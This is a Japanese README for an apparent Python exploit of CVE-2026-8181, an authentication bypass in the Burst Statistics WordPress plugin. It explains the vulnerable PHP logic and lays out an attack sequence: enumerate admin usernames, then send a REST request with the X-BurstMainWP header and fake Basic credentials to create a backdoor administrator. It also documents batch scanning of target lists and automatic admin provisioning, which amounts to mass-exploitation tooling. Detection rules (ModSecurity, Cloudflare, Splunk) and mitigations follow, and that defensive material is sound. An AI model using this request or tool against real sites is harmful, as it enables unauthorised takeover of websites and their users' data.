
CVE-2026-8181 の Python PoC。Burst Statistics WordPress プラグインにおける重大な認証バイパスです。認可されたセキュリティテストのためのエクスプロイト自動化、一括スキャン、管理者アカウント作成を含みます。
[!CAUTION] 重大警告: この脆弱性により、認証されていないリモート攻撃者がカスタムHTTPヘッダーを注入するだけで認証をバイパスし、対象のWordPressサイトで完全な管理者権限を取得できます。このCVEは現在実際の環境で活発に悪用されています。
CVE-2026-8181 は、Burst Statistics WordPressプラグイン(バージョン 3.4.0 から 3.4.1.1)に影響する深刻な認証バイパス脆弱性です。この欠陥は、プラグインのMainWPプロキシ統合に存在します。plugins_loaded フックの早い段階でのアプリケーションパスワードの不適切な検証により、プラグインは無効な資格情報であっても、X-BurstMainWP: 1 ヘッダーを含むREST APIリクエストに対して誤って管理コンテキストを付与します。
これにより、単純で認証されていないHTTPリクエストが、すべての標準的なWordPress認証メカニズムをバイパスして、完全な管理者権限の乗っ取りに変わります。
単一のヘッダーがどのようにしてシステム全体の鍵を渡すのかを理解するには、プラグインの認証ハンドラー内のPHPロジックを解析する必要があります。
この脆弱性は、includes/Frontend/class-mainwp-proxy.php 内の is_mainwp_authenticated() メソッドにおける条件分岐の不適切な処理に起因します。
plugins_loaded フックに優先度 9 で init() を登録します。これはWordPressのライフサイクルにおいて早すぎるタイミングです。X-BurstMainWP: 1 ヘッダーが含まれている場合、has_admin_access() は認証を is_mainwp_authenticated() に委譲します。Authorization ヘッダーを読み取り、資格情報をWordPressコアの wp_authenticate_application_password() に転送します。application_password_is_api_request フィルターを true に設定しておらず、コア関数は WP_Error オブジェクトの代わりに null を返します。is_wp_error( $user ) のみをチェックします。 は ため、ガードを通過します。// Burst Statistics <= 3.4.1.1 における脆弱なコードの簡略化表現
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // 明示的な認証失敗を正しく処理
}
// 🚨 致命的な欠陥 🚨
// アプリケーションパスワードが提供されていない、またはAPIリクエストがまだフラグ設定されていない場合、
// wp_authenticate_application_password は NULL を返します。
// コードは NULL のチェックに失敗しています!
if ( $user === null ) {
// 安全に失敗する代わりに、この安全でないブランチにフォールスルーします:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: 管理コンテキストが付与されました!
return true;
}
このセクションはレッドチームおよび許可されたペネトレーションテスター向けです。
/wp-content/plugins/burst-statistics/readme.txt 経由)。GET /wp-json/wp/v2/users 経由で漏洩します。ブロックされている場合は、投稿者アーカイブのトリック /?author=1 を使用します。POST /wp-json/wp/v2/users。X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null チェックにヒットし、リクエストを管理コンテキストに昇格させます。新しい管理者ユーザーが作成されます。POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] 環境上の注意: このエクスプロイトが成功するには
AuthorizationヘッダーがPHPに到達する必要があります。
- Nginx / LiteSpeed / パーマリンクがPrettyなApache: ヘッダーは転送されます。エクスプロイトは成功します。
- パーマリンクがPlain(デフォルト)のApache: ヘッダーはWebサーバーによって静かに削除されます。エクスプロイトは失敗します。
このセクションはブルーチーム、SOCアナリスト、およびシステム管理者向けです。
エッジで特定のヘッダーをブロックまたは監視します。
ModSecurity / OWASP CRS ルール:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics 認証バイパス試行', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Cloudflare WAF カスタムルール:
(http.request.headers["X-BurstMainWP"] eq "1")
REST APIユーザー作成と組み合わせたヘッダーの存在をWebサーバーログで検索します。
Splunk / ELK クエリ:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
侵害を疑う場合、以下の侵害後の痕跡を探します:
administrator ロールを持つユーザーが wp_users テーブルに存在しないか確認。wp-content/plugins/ 内に不正なアップロード(正規プラグインを装ったウェブシェルが多い)がないか確認。wp-content/themes/ またはコアファイルへの不正な変更がないか確認。[!IMPORTANT] 即時対応必須: 脆弱なバージョンを実行している場合は、以下の緩和策のいずれかを直ちに適用してください。
このリポジトリには、許可されたラボ環境で脆弱性を検証するためのPython自動化ツール CVE-2026-8181.py が含まれています。
# 1. 依存関係のインストール
pip3 install requests urllib3
# 2. 単一サイトの偵察と新しい管理者の自動プロビジョニング
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. 成功ファイルを用いたバッチスキャン
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. ホスト別レポートを用いたバッチスキャン
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] 教育および許可されたテスト目的のみに使用してください。
このリポジトリで提供される情報は、教育目的、セキュリティ研究、および許可されたペネトレーションテストを目的としています。システム所有者からの明示的な書面による許可なしにシステムの脆弱性を悪用することは違法であり、国際的なサイバー法に違反します。
このリポジトリの作成者および貢献者は一切の責任を負わず、本ツールまたは情報の誤用、損害、または法的結果について責任を負いません。常に責任を持って倫理的にハッキングしてください。
nullWP_Errorwp_set_current_user() を呼び出し、リクエストを即座に完全な管理コンテキストに昇格させます。| 優先度 | アクション | 詳細 |
|---|
| P0 | プラグインのパッチ適用 | WordPressダッシュボードからBurst Statisticsをバージョン**3.4.2**以上に直ちに更新してください。 |
| P1 | WAF仮想パッチ | 直ちにパッチを適用できない場合は、上記のWAFルールを展開して X-BurstMainWP ヘッダーをブロックしてください。 |
| P2 | ユーザー列挙の制限 | セキュリティプラグインまたは .htaccess ルールを使用して、/wp-json/wp/v2/users および /?author=* へのパブリックアクセスをブロックしてください。 |
| P3 | ユーザーとファイルの監査 | スクリプトを実行して最近作成された管理者アカウントを監査し、不正なアクセス権をすべて取り消してください。ウェブシェルをスキャンしてください。 |
| 機能 | 説明 |
|---|
| 🎯 単一ターゲット | -u フラグを使用して特定のサイトをスキャンします。 |
| 📦 バッチ処理 | -f targets.txt でターゲットリストを読み込みます(# によるコメントをサポート)。 |
| ⚡ 並行処理 | スレッドワーカーを使用してバッチスキャンを高速化します(-j N)。 |
| 💾 スマート出力 | -o file.txt で統合レポートを作成します。バッチモードでは、成功したエクスプロイトのみが記録されます。 |
| 📂 ホスト別ダンプ | --output-dir を使用して、侵害された各ホストの個別の .txt ファイルを保存します。 |
| 👤 管理者作成 | --create-user を渡すと、REST APIを介して新しい管理者アカウントを自動的にプロビジョニングします。 |
| 🔓 ラボTLS | -k を使用してSSL証明書エラーを無視します(ローカル/信頼できるラボ環境専用)。 |